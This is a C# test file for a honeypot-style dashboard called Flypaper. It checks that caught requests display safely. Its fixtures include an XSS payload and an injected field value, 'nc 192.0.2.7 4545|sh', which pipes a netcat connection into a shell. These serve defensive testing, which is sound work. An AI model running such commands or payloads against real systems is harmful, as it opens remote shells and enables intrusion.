Files
Flypaper/test/Flypaper.Tests/Web/RequestViewTests.cs
T
TomandClaude Sonnet 5.5 46f70c9065
Build and deploy / build (push) Successful in 1m30s
Release / image (push) Successful in 1m54s
Build and deploy / deploy (push) Successful in 30s
Release / release (push) Successful in 6s
Redesign the opened catch row around plain language
Full-width detail area with the explanation first, clearly named facts for
commands and collapsed technical details; the list hides the requested
host. Changelog prepared for 0.11.1.

Co-Authored-By: Claude Sonnet 5.5 <noreply@anthropic.com>
2026-11-27 21:59:09 +01:00

90 lines
4.0 KiB
C#

using System.Net;
using System.Text.Json;
using System.Text.RegularExpressions;
using Flypaper.Core.Models;
using Flypaper.Storage;
using Flypaper.Storage.Entities;
using Microsoft.AspNetCore.Mvc.Testing;
using Microsoft.Data.Sqlite;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.DependencyInjection;
using Shouldly;
namespace Flypaper.Tests.Web;
public sealed partial class RequestViewTests : IDisposable
{
private const string Password = "test-only-password";
private readonly string _dbPath = Path.Combine(Path.GetTempPath(), $"flypaper-request-{Guid.NewGuid():N}.db");
private readonly WebApplicationFactory<Program> _factory;
public RequestViewTests() =>
_factory = new WebApplicationFactory<Program>().WithWebHostBuilder(builder =>
{
builder.UseSetting("ConnectionStrings:Flypaper", $"Data Source={_dbPath}");
builder.UseSetting("Flypaper:Ports:Dashboard", "0");
builder.UseSetting("Flypaper:Admin:Password", Password);
});
[Fact]
public async Task Signed_in_users_get_the_request_and_attacker_markup_stays_out_of_the_page()
{
using var client = _factory.CreateClient(new WebApplicationFactoryClientOptions { AllowAutoRedirect = false });
var (withRequest, withCommand) = await SeedAsync();
(await client.GetAsync($"/catches/{withRequest}/request")).StatusCode.ShouldBe(HttpStatusCode.Redirect);
var token = TokenPattern().Match(await client.GetStringAsync("/login")).Groups[1].Value;
await client.PostAsync("/auth/login", new FormUrlEncodedContent(
[KeyValuePair.Create("password", Password), KeyValuePair.Create("__RequestVerificationToken", token)]));
var response = await client.GetAsync($"/catches/{withRequest}/request");
response.Headers.CacheControl!.NoStore.ShouldBeTrue();
using var json = JsonDocument.Parse(await response.Content.ReadAsStringAsync());
json.RootElement.GetProperty("body").GetString().ShouldBe("<script>alert(1)</script>");
json.RootElement.GetProperty("headers").GetString().ShouldNotBeNull().ShouldContain("Host: x");
var page = await client.GetStringAsync("/");
page.ShouldContain("Eingeschleuste Befehle");
page.ShouldContain("192.0.2.7, Port 4545");
page.ShouldContain("Fremder Server");
page.ShouldContain("nc 192.0.2.7 4545|sh");
page.ShouldContain("eingeschleust über das Feld");
(await client.GetStringAsync("/?befehl=ja")).ShouldContain($"event:{withCommand}");
page.ShouldContain($"data-request=\"catches/{withRequest}/request\"");
page.ShouldNotContain("<script>alert(1)</script>");
}
private async Task<(long WithRequest, long WithCommand)> SeedAsync()
{
await using var db = await _factory.Services.GetRequiredService<IDbContextFactory<FlypaperDbContext>>().CreateDbContextAsync();
var first = Entity(new RequestDetails("Host: x\n", "<script>alert(1)</script>", 25, false));
var second = Entity(new RequestDetails("Host: x\n", "sysCmd=nc+192.0.2.7+4545%7Csh", 29, false));
var third = Entity(null);
db.TrapEvents.AddRange(first, second, third);
await db.SaveChangesAsync();
return (first.Id, second.Id);
}
private static TrapEventEntity Entity(RequestDetails? request)
{
var started = DateTimeOffset.UtcNow.AddMinutes(-1);
return TrapEventEntity.From(new TrapEvent(
Guid.NewGuid(), TrapProtocol.Http, IPAddress.Parse("203.0.113.70"), "maze-drip", started, started.AddSeconds(5), 10,
TrapOutcome.ClientAborted, "POST /", null, request));
}
[GeneratedRegex("name=\"__RequestVerificationToken\"[^>]*value=\"([^\"]+)\"")]
private static partial Regex TokenPattern();
public void Dispose()
{
_factory.Dispose();
SqliteConnection.ClearAllPools();
foreach (var suffix in new[] { "", "-wal", "-shm" })
{
File.Delete(_dbPath + suffix);
}
}
}